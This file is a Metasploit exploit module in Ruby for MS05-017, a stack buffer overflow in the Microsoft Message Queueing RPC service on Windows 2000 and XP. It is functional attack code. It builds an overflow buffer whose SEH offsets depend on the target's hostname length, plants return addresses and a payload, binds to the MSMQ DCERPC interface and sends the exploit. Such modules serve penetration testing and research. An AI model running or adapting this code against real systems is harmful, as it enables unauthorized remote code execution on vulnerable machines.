##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS05-017 Microsoft Message Queueing Service Path Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in the RPC interface
        to the Microsoft Message Queueing service. The offset to the
        return address changes based on the length of the system
        hostname, so this must be provided via the 'HNAME' option.
        Much thanks to snort.org and Jean-Baptiste Marchand's
        excellent MSRPC website.

      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-0059'],
          [ 'OSVDB', '15458'],
          [ 'MSB', 'MS05-017'],
          [ 'BID', '13112'],
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e\xff",
          'StackAdjustment' => -3500,

        },
      'Platform'       => %w{ win },
      'Targets'        =>
        [
          [
            'Windows 2000 ALL / Windows XP SP0-SP1 (English)',
            {
              'Platform' => 'win',
              'Rets'     => [ 0x004014e9, 0x01001209 ] # mqsvc.exe
            },
          ],
        ],
      'DisclosureDate' => 'Apr 12 2005',
      'DefaultTarget' => 0))

    # Change the default port values to point at MSMQ
    register_options(
      [
        Opt::RPORT(2103),
        OptString.new('HNAME',  [ true,  "The NetBIOS hostname of the target" ]),
      ])
  end

  def autofilter
    # Common vulnerability scanning tools report port 445/139
    # due to how they test for the vulnerability. Remap this
    # back to 2103 for automated exploitation

    rport = datastore['RPORT'].to_i
    if ( rport == 445 or rport == 139 )
      datastore['RPORT'] = 2103
    end

    # The NetBIOS hostname is required to exploit this bug reliably.
    if (not datastore['HNAME'])
      # XXX automatically determine the hostname
      return false
    end

    true
  end

  def exploit

    # MSMQ supports three forms of queue names, the two we can use are
    # the IP address and the hostname. If we use the IP address via the
    # TCP: format, the offset to the SEH frame will change depending on
    # the length of the real hostname. For this reason, we force the user
    # to supply us with the actual hostname.

    # Formats: DIRECT=TCP:IPAddress\QueueName DIRECT=OS:ComputerName\QueueName

    queue_name = "OS:#{datastore['HNAME']}";
    queue_hlen = datastore['HNAME'].length * 2
    queue_path = unicode(queue_name + "\\PRIVATE$\\")

    buf   = rand_text_english(4000, payload_badchars)

    # Windows 2000 SEH offset goes first
    buf[372 - queue_hlen + 0, 4] = [ target['Rets'][0] ].pack('V')
    buf[372 - queue_hlen - 4, 2] = "\xeb\x22"

    # Windows XP SEH offset goes second
    seh = generate_seh_payload(target['Rets'][1])
    buf[400 - queue_hlen - 4, seh.length] = seh

    # Append the path to the location and null terminate it
    queue_path << buf << "\x00\x00"

    # Get the unicode length of this string
    queue_plen = queue_path.length / 2

    connect
    print_status("Trying target #{target.name}...")

    handle = dcerpc_handle('fdb3a030-065f-11d1-bb9b-00a024ea5525', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
    print_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    print_status("Bound to #{handle} ...")

    stubdata =
      NDR.long(1) +
      NDR.long(1) +
      NDR.long(1) +
      NDR.long(3) +
      NDR.long(3) +
      NDR.long(2) +
      NDR.UnicodeConformantVaryingStringPreBuilt(queue_path)

    print_status('Sending exploit ...')

    response = dcerpc.call(9, stubdata)

    if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
      case dcerpc.last_response.stub_data
        when "\x20\x00\x0e\xc0"
          print_status("The server rejected our request, the HNAME parameter could be incorrect")
        when "\x1e\x00\x0e\xc0"
          print_status("The server does not appear to be exploitable")
        else
          print_status("An unknown response was received from the server:")
          print_status(">> " + dcerpc.last_response.stub_data.unpack("H*")[0])
      end
    end

    handler
    disconnect
  end
end
